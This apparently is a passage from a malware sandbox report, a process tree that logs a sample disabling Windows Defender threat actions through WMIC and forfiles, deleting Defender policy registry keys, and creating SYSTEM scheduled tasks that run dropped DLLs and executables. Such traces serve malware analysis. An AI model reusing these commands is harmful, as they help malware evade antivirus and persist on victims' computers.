                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:7696
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                          PID:2596
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                              PID:5520
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                PID:7908
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                    PID:2696
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:6604
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                    PID:7960
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                      powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                      PID:5856
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                          PID:5912
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:7008
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:5104
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                            powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                            PID:7224
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                PID:7068
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:7792
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                PID:5248
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                  powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                  PID:5728
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                      PID:7348
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "bCQQUSYoXLKlZTQVFm"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:7048
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:5256
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                    PID:6152
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                        PID:8176
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                        PID:6536
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                            PID:1848
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\YSFbCTIaU\wTtncs.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "TXAwOSJqerYTzUX" /V1 /F
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                          PID:6508
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "TXAwOSJqerYTzUX2" /F /xml "C:\Program Files (x86)\YSFbCTIaU\EcEMsvt.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                          PID:8068
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                          schtasks /END /TN "TXAwOSJqerYTzUX"
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:5308
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "TXAwOSJqerYTzUX"
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:7084
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "MpGuFfBVdJflLk" /F /xml "C:\Program Files (x86)\CaOqiYMiQPmU2\CYTqTeQ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                              PID:6912
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "ZoXPCQOixILhL2" /F /xml "C:\ProgramData\YwFgfawDzaFJYFVB\JiSGqdT.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                              PID:7024
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "TSZDlHjZcujaNcgsj2" /F /xml "C:\Program Files (x86)\ACOkaPyEHSjbvhvMaqR\yEHMdln.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                              PID:3748
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "NrvtNKuORviNiFRYXGZ2" /F /xml "C:\Program Files (x86)\AfNWPhScxyylC\uhXvvFg.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                              PID:6312
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "JWccChrZepOVqMLId" /SC once /ST 01:33:43 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\gQxOXlbRXdqDUiOe\YpjwLIPw\tpwMjWf.dll\",#1 /site_id 216660" /V1 /F
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                              PID:6356
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                              schtasks /run /I /tn "JWccChrZepOVqMLId"
                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                PID:8148
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                schtasks /CREATE /TN "spuyhAIOUfZM" /SC once /ST 06:37:28 /F /RU "Admin" /TR "\"C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\crIoAsHR\mqQpCvn.exe\" wZ /S"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                PID:7456
                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                schtasks /run /I /tn "spuyhAIOUfZM"
                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                  PID:6020
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                  schtasks /END /TN "spuyhAIOUfZM"
                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                    PID:7732
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "spuyhAIOUfZM"
                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                      PID:7808
                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                      cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                        PID:6908
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                          REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:7420
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:7952
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                                PID:1248
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "hxUIoduwsSkQKnehv"
                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                PID:6852
                                                                                                                                                                                                                                                                                                                            • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                                              c:\windows\system32\rundll32.EXE "C:\Windows\Temp\gQxOXlbRXdqDUiOe\YpjwLIPw\tpwMjWf.dll",#1 /site_id 216660
                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                PID:5736
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                                                  c:\windows\system32\rundll32.EXE "C:\Windows\Temp\gQxOXlbRXdqDUiOe\YpjwLIPw\tpwMjWf.dll",#1 /site_id 216660
                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                  • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                                  • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                  • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                  PID:4332
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "JWccChrZepOVqMLId"
                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                      PID:4276
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\crIoAsHR\mqQpCvn.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\JxJEfMIzPUZaCVKzU\crIoAsHR\mqQpCvn.exe wZ /S
                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                                                                                                                                                                                                                                  PID:6916
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                      PID:7440
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                          PID:4268
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                              PID:2236
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6912
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                      PID:4792
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                  PID:6444
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                    /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                      PID:7504
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                          PID:7444
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                              PID:7864
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                                                                          PID:6036
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                                                                              PID:3344
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6628
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6996
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:6172
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                    /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:4216
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:6612
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True
                                                                                                                                                                                                                                                                                                                                                                            7⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:7852
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\stgbdvv
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\stgbdvv
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                    PID:5500
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\stgbdvv
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\stgbdvv
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                    PID:7672
                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\stgbdvv
                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\stgbdvv
                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                                    • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                                    PID:6360
